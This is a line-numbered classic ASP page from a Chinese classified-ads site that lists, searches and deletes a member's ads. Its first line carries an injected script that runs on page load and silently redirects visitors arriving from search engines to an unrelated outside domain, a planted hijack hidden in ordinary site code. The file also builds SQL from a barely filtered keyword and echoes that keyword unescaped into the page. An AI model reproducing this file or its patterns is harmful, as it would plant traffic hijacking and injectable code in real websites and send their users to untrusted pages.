d:\wwwroot\wuchunhua\listad.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="head.asp"-->
002:
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=gb2312">
003:
<%
if session("china_uid")="" then
004:
response.redirect "login.asp"
005:
end if
006:
007:
dim sql,rs
008:
keyword=replace(trim(request.form("keyword")),"'","")
009:
if keyword <>"" then
010:
sql="select * from china_data where uid='"&session("china_uid")&"' and ( title like '%" & keyword & "%' or text like '%" & keyword & "%' ) order by adid desc"
011:
else
012:
sql="select * from china_data where uid='"&session("china_uid")&"' order by adid desc"
013:
end if
014:
set rs=server.createobject("adodb.recordset")
015:
rs.open sql,conn,1,1
%
>
016:
<SCRIPT language=javascript>
017:
function CheckAll(form)
018:
{
019:
for (var i=0;i<form.elements.length;i++)
020:
{
021:
var e = form.elements[i];
022:
if (e.Name != "chkAll")
023:
e.checked = form.chkAll.checked;
024:
}
025:
}
026:
function Checked()
027:
{
028:
var j = 0
029:
for(i=0;i < document.form.elements.length;i++){
030:
if(document.form.elements[i].name == "adid"){
031:
if(document.form.elements[i].checked){
032:
j++;
033:
}
034:
}
035:
}
036:
return j;
037:
}
038:
039:
function DelAll()
040:
{
041:
if(Checked() <= 0){
042:
alert("您至少选择1条信息!");
043:
}
044:
else{
045:
if(confirm("确定要删除选择的信息吗?\n此操作不可以恢复!")){
046:
form.action="del.asp?del=data";
047:
form.submit();
048:
}
049:
}
050:
}
051:
052:
</SCRIPT><body bgcolor="#FFFFFF">
053:
<FORM name=form method=post>
054:
<table width="860" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="CAE2F8">
055:
<tr>
056:
<td bgcolor="CAE2F8" align="center"><TABLE width=100% border=0 cellPadding=0 cellSpacing=0>
057:
<TBODY>
058:
<TR bgcolor="EFF7FE">
059:
<TD width=23 vAlign=middle align="center"><IMG alt=arrow
060:
src="images/arrow_01.gif"></TD>
061:
<TD height="28"><a href="user.asp"><font color="#CC0000">会员中心</font></a>
062:
>> 管理分类信息</TD>
063:
<TD width="45" align="center"><INPUT title=删除 onclick=DelAll() type=button value=删除 name=Submit></TD>
064:
</TR>
065:
</TBODY>
066:
</TABLE></td>
067:
</tr>
068:
<tr>
069:
<td bgcolor="#FFFFFF"> <br>
070:
<table width="750" border="0" align="center" cellpadding="0" cellspacing="1" bordercolorlight="#000000" bordercolordark="#FFFFFF" bgcolor="CAE2F8">
071:
<tr bgcolor="#FFFFFF">
072:
<td width="46" bgcolor="EFF7FE"><p align="center">编号</p></td>
073:
<td width="158" bgcolor="EFF7FE" height="28"> 广告标题</td>
074:
<td width="83" align="center" bgcolor="EFF7FE">广告类别</td>
075:
<td width="83" bgcolor="EFF7FE"><p align="center">发布日期</td>
076:
<td width="83" bgcolor="EFF7FE"><p align="center">截止日期</td>
077:
<td width="83" bgcolor="EFF7FE"><p align="center">发布状态</td>
078:
<td width="65" bgcolor="EFF7FE"><p align="center">管理操作</p></td>
079:
<td width="30" align="center" bgcolor="EFF7FE"><input id=chkAll
080:
onClick=CheckAll(this.form) type=checkbox
081:
value=checkbox name=chkAll></td>
082:
</tr>
083:
<%
if rs.eof or rs.bof then
084:
response.write"<tr bgcolor=#FFFFFF><td colspan='10'><p align='center'><font color='red'>暂无相关信息!</font></td></tr></table><br>"
085:
'response.end
086:
else
087:
const maxperpage=20
088:
dim currentpage
089:
rs.pagesize=maxperpage
090:
currentpage=request.querystring("pageid")
091:
if isnumeric(currentpage)=false then
092:
response.write "<script>alert('参数错误,关闭窗口!');window.close();</script>"
093:
response.end
094:
end if
095:
if currentpage="" then
096:
currentpage=1
097:
elseif currentpage<1 then
098:
currentpage=1
099:
else
100:
currentpage=clng(currentpage)
101:
if currentpage > rs.pagecount then
102:
currentpage=rs.pagecount
103:
end if
104:
end if
105:
106:
dim totalput,n
107:
totalput=rs.recordcount
108:
if totalput mod maxperpage=0 then
109:
n=totalput\maxperpage
110:
else
111:
n=totalput\maxperpage+1
112:
end if
113:
if n=0 then
114:
n=1
115:
end if
116:
rs.move(currentpage-1)*maxperpage
117:
i=0
118:
do while i< maxperpage and not rs.eof
%
>
119:
<tr bgcolor="#FFFFFF">
120:
<td width="46" height="28"><p align="center">
<%
=i+currentpage*maxperpage-maxperpage+1
%
></td>
121:
<td width="158" height="28"> <a href="html/
<%
=rs("adid")
%
>.htm" target="_blank">
<%
=rs("title")
%
></a></td>
122:
<td width="83" align="center" height="28"><a title=
<%
=rs("type_one")
%
>/
<%
=rs("type_two")
%
>/
<%
=rs("type_three")
%
> href="#">
<%
=rs("type_one")
%
></a></td>
123:
<td width="83" height="28"><p align="center">
<%
=rs("date")
%
></td>
124:
<td width="83" height="28"><p align="center">
<%
=rs("stop")
%
></td>
125:
<td width="83" height="28"><p align="center">
126:
<%
If rs("mark")="yes" Then
%
>
127:
<font color="#008000">已审核</font>
128:
<%
Else
%
>
129:
<font color="#FF0000">未审核</font>
130:
<%
End If
%
>
131:
</td>
132:
<td width="65" height="28"><p align="center"><a href="editad.asp?id=
<%
=rs("adid")
%
>"><font color="green">修改</font></a></p></td>
133:
<td height="28" align="center"><input type="checkbox" name="adid" value="
<%
=rs("adid")
%
>" onClick=Checked(form)></td>
134:
</tr>
135:
<%
i=i+1
136:
rs.movenext
137:
loop
138:
rs.close
139:
set rs=nothing
140:
end if
%
>
141:
</table>
142:
<br>
143:
</td>
144:
</tr>
145:
</table></FORM>
146:
<table width="860" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="CAE2F8">
147:
<tr>
148:
<td height="28" bgcolor="#FFFFFF">
149:
<p align="center">页数:
<%
=currentpage
%
>/
<%
=n
%
>
150:
<%
k=currentpage
151:
if k<>1 then
%
>
152:
<a href="?pageid=1">首页</a> <a href="?pageid=
<%
=k-1
%
>">上一</a>
153:
<%
else
%
>
154:
首页 上一页
155:
<%
end if
%
>
156:
<%
if k<>n then
%
>
157:
<a href="?pageid=
<%
=k+1
%
>">下一</a> <a href="?pageid=
<%
=n
%
>">尾页</a>
158:
<%
else
%
>
159:
下一页 尾页
160:
<%
end if
%
>
161:
共有
<%
=totalput
%
> 条信息
162:
</td>
163:
<form action="" method="post" name="search"><td width="240" align="center" bgcolor="#FFFFFF">关键字
164:
<input maxLength="20" name="keyword" onfocus="this.value=''" size="18" value="
<%
=keyword
%
>">
165:
<input type="submit" value="搜索" style="font-size: 12px" name="search"></td>
166:
</form>
167:
</tr>
168:
</table>
169:
<table border="0" cellpadding="0" cellspacing="0" align="center" id="table23">
170:
<tr>
171:
<td height="6"></td>
172:
</tr>
173:
</table>
174:
<!--#include file="foot.asp"-->
175:
176: